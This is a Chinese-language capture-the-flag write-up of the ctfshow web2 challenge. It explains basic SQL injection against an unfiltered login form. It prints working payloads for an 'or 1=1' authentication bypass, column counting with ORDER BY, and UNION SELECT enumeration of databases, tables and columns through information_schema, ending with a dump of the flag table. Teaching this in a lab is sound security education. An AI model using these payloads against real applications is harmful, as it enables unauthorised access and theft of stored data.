從ctfshow web2 題目梳理sql注入基本思路
題目是 “最簡單的SQL注入” ,此題是最基礎的SQL注入題目,後端針對前端傳入引數不做任何過濾
首先看到傳入後端的引數是“使用者名稱”和“密碼”,注入點基本可以肯定就是這兩個位置。在判斷是否存在注入點之前,我們可以構想下後端查詢的sql結構,有利於接下來的思路拓展。
可以假設後端的查詢語句是:
select <unknown> from table where username='' and password=''
現在我們可以確定的是:
後端提交的SQL查詢包含“使用者名稱”、“密碼” 兩個條件(我假設這兩個條件的欄位名是 "username"、"password")
我們不能確定的是:
1、後端SQL查詢結果中的欄位數量,我這裡用"<unknown>" 佔位
以圖解釋:
a | b | c | d | ...<unknown> |
2、後端SQL查詢結果中如果是多欄位,哪些欄位中的值會在前端回顯?
以圖解釋:
a | b(回顯) | c | d(回顯) | ...<unknown> |
3、後端SQL查詢結果如果是多行,哪行的值會在前端回顯?
以圖解釋:
a | b(回顯) | c | d(回顯) | ...<unknown> |
回顯 | 回顯 | |||
4、SQL查詢的這張表是在哪個資料庫?表名是什麼?表裡有什麼欄位?
在找到注入點之後,我們要先解決的就是以上問題。
一、
現在先找注入點,結合之前構想的SQL語句,我們嘗試"username" 這個條件能不能注入
嘗試構建:
select <unknown> from table where username='admin' and 1=1 #' and password='asdasdasd'
體現在前端,即:
發現提交後無法登入。
嘗試構建:
select <unknown> from table where username='admin' or 1=1 #' and password='asdasdasd'
發現可以登入成功。
因此可以判斷,”使用者名稱“即嘗試構建的SQL中的”username“欄位是注入點。
二、
接下來判斷後端SQL查詢出的欄位數,用order by 指定以結果中的第幾欄位排序的方法來判斷這個數量
嘗試構建:
select <unknown> from table where username='admin' or 1=1 order by 3 #' and password='asdasdasd'
select <unknown> from table where username='admin' or 1=1 order by 4 #' and password='asdasdasd'
現在發現order by 4 的情況下會報錯,即以查詢結果的第四欄位排序時報錯,因此可以判斷查詢結果內包含3個欄位。
現在後端查詢SQL中的<unknown>欄位數量已知,目前不知道這個三個欄位的名稱,所以先用a,b,c佔位,新的查詢語句為:
select a,b,c from table where username='' and password=''
三、
現在判斷查詢到的這三個欄位中,哪些會回顯到前端,可以通過union select 1,2,3 在查詢結果中拼接標記數字的方式來判斷。
嘗試構建:
因union select 拼接的值預設在每個欄位最底部,回顯欄位如果是多行的話,前端可能只回顯欄位第一行的值,因此需要利用 order by <第n欄位> asc排下序,將拼接值排在每個欄位的最上面
select a,b,c from table where username='admin' or 1=1 union (select 1,2,3) order by 1 asc #' and password='asdasdasd'
我們將1,2,3三個數字分別拼接在了查詢出的三個欄位中,現在看到2回顯在前端,因此可以判斷後端SQL查詢的三個欄位中,只有b欄位在前端回顯。因此接下來就要利用這個能回顯的欄位爆出更多資料。
四、
接下來依然通過拼接的方式爆出這個表所在的資料庫名稱,這裡使用內建的database()函式。
嘗試構建:
select a,b,c from table where username='admin' or 1=1 union (select 1,database(),3) order by 1 asc #' and password='asdasdasd'
通過database()函式配合b欄位的回顯查詢到資料庫的名稱為"web2"。
五、
接下來通過資料庫的名稱去查詢資料庫中存在的資料表,可以通過查詢mysql內建information_schema庫中的columns表得知。
這裡通過巢狀SQL的方式來注入查詢:
注意,在嵌入的sql查詢中要用 limit <起始行>,<偏移量> 限制查詢出的行數,如果超過一行,會導致select 1,sql,3拼接失敗。
可以通過修改 limit 起始行來遍歷 table_name欄位的所有值,如 limit 0,1 ; limit 1,1 ; limit 2,1
select a,b,c from table where username='admin' or 1=1 union (select 1,(select table_name from information_schema.columns where table_schema='web2' limit 0,1),3) order by 1 asc #' and password='asdasdasd'
limit 0,1 時查詢出flag表
select a,b,c from table where username='admin' or 1=1 union (select 1,(select table_name from information_schema.columns where table_schema='web2' limit 1,1),3) order by 1 asc #' and password='asdasdasd'
limit 1,1時查詢出user表
接下來一直到 limit 3,1 都是user表,limit 4,1 無法顯示,因此能判斷web2資料庫內有兩張表flag和user
六、
接下來可以通過已知的資料庫名,表名來查詢表中的欄位,同樣通過information_schema庫中的columns表來查詢。
內嵌的查詢依然需要limit限制欄位行數,以及遍歷欄位值。
構建:
select a,b,c from table where username='admin' or 1=1 union (select 1,(select column_name from information_schema.columns where table_schema='web2' and table_name='user' limit 0,1),3) order by 1 asc #' and password='asdasdasd'
先查詢user表的欄位。
以下是從limit 0,1到limit 2,1的結果截圖:
可以確定user表有3個欄位 id,username,password
接下來查詢flag表中的欄位。
構建:
select a,b,c from table where username='admin' or 1=1 union (select 1,(select column_name from information_schema.columns where table_schema='web2' and table_name='flag' limit 0,1),3) order by 1 asc #' and password='asdasdasd'
只有limit 0,1能查詢到資料,因此flag表內只有一個flag欄位
七、
現在可以得知,後端的查詢是在 web2資料庫中,其中有兩張表user和flag。
user表有3個欄位 id,username,password。
flag表有一個欄位flag
八、
通過以上資訊構建巢狀查詢,爆出flag即可:
select a,b,c from table where username='admin' or 1=1 union (select 1,(select flag from web2.flag limit 0,1),3) order by 1 asc #' and password='asdasdasd'
九、
通過以上示例總結sql注入的通常思路:
1、先找注入點
2、判斷查詢出的欄位數
3、判斷哪些欄位回顯到前端
4、判斷回顯欄位的哪一行回顯到前端
5、用查出來的資料庫名稱作為條件來判斷這個庫裡有哪些表,在mysql內建的information_schema庫的columns表裡面可以查到
6、用查出來的表名稱作為條件來判斷表裡有哪些欄位,同樣在mysql內建的information_schema庫的columns表裡面可以查到
7、現在已經完全查出 資料庫>表>欄位的資訊了,最終直接查表裡想查的欄位即可